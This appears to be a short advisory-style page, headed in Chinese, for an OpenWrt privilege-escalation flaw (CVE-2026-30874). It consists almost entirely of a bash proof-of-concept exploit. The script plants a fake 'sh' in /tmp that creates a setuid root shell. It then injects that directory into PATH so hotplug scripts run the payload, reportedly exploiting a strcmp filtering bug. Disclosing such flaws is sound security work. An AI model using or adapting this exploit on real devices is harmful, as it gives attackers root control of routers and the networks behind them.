CVE-2026-30874 OpenWrt权限提升漏洞

#!/bin/bash # PoC for CVE-2026-30874: OpenWrt hotplug PATH injection # This script simulates how an attacker could exploit the strcmp bug to gain root privileges. # 1. Create a malicious directory and a payload (e.g., a fake netifd or sh) ATTACK_DIR="/tmp/exploit_cve_2026_30874" mkdir -p "$ATTACK_DIR" # Create a malicious binary that copies a root shell cat > "$ATTACK_DIR/sh" << 'EOF' #!/bin/sh cp /bin/sh /tmp/root_owned_shell chmod 4755 /tmp/root_owned_shell echo "PoC executed: Root shell available at /tmp/root_owned_shell" EOF chmod +x "$ATTACK_DIR/sh" # 2. Inject the malicious PATH # Exploit the strcmp vs strncmp bug: hotplug_call will not filter this. export PATH="$ATTACK_DIR:$PATH" echo "[+] Malicious PATH set to: $PATH" echo "[+] Waiting for a hotplug event (e.g., interface change) to trigger procd..." echo "[+] When a script in /etc/hotplug.d/ calls 'sh' without a full path, our payload runs." # In a real scenario, the attacker would wait for the system to trigger an event. # For demonstration, we can manually trigger a dummy hotplug event if possible, # or simply wait. The persistence of the PATH depends on the context. # This PoC demonstrates the environment variable setup required for the exploit.